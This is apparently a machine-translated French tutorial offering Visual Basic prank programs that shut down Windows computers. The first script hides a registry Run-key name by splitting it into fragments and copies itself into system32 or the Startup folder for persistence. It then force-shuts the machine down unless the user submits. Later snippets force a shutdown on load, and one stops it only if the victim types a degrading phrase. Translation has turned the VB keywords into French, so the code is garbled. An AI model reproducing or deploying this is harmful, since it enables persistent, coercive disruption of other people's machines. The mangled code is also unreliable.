Applet 1 d'usurpation d'arrêt de VB :
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) chaîne ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Ensuite, appelez Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All Utilisateurs/Menu Démarrer/Programmes/Démarrage/wxb.vbs")) Ensuite, appelez Show_And_Do("Démarrage")else En cas d'erreur Reprendre Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("Attention : Merci de ne pas toucher à mon ordinateur ! " & Chr(13) & Chr(10) & "Confirmer -> Je demanderai d'abord la permission la prochaine fois" & Chr(10) & "Annuler -> Je m'en fiche de la façon dont vous l'aimez !", 4145, "Exemple MsgBox")Si r = 1 Alors si s= "Démarrage" puis définissez f = fs.GetFile("C:/Documents and Settings/Tous les utilisateurs/Démarrer Menu/Programmes/Démarrage/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"Fin du sous-marin IfendCe qui précède est un peu compliqué, alors faisons-en un peu plus simple
Le code est le suivant :
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Appel QuitterWindowsEx(EWX_SHUTDOWN, 0)Fin Sub
Quand pouvez-vous utiliser une manière d’écrire plus simple
Entrez simplement le code suivant :
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem Le -t 0 derrière signifie un arrêt dans 0 seconde. Si -t 0 est supprimé, la valeur par défaut est un arrêt dans 30 secondes.
Troisième méthode :
Private Sub Command1_Click()If Text1 = "Je suis un cochon" ThenShell "cmd.exe /c shutdown -a"MsgBox "Haha, laisse-toi partir !", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Haha toi Si vous êtes trompé, dites-moi que vous êtes un cochon, sinon votre ordinateur s'éteindra dans 1 minute.", 48, "Prompt" Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Voulez-vous me fermer ???", vbOKCancel + vbQuestion, "Fermer la fenêtre")Si g = vbOK ThenCancel = 11MsgBox "Haha, peux tu le fermes ? Lâche-moi et traite-moi de cochon", 64, "Prompt"End IfIf g = 2 ThenCancel = 11End IfEnd Sous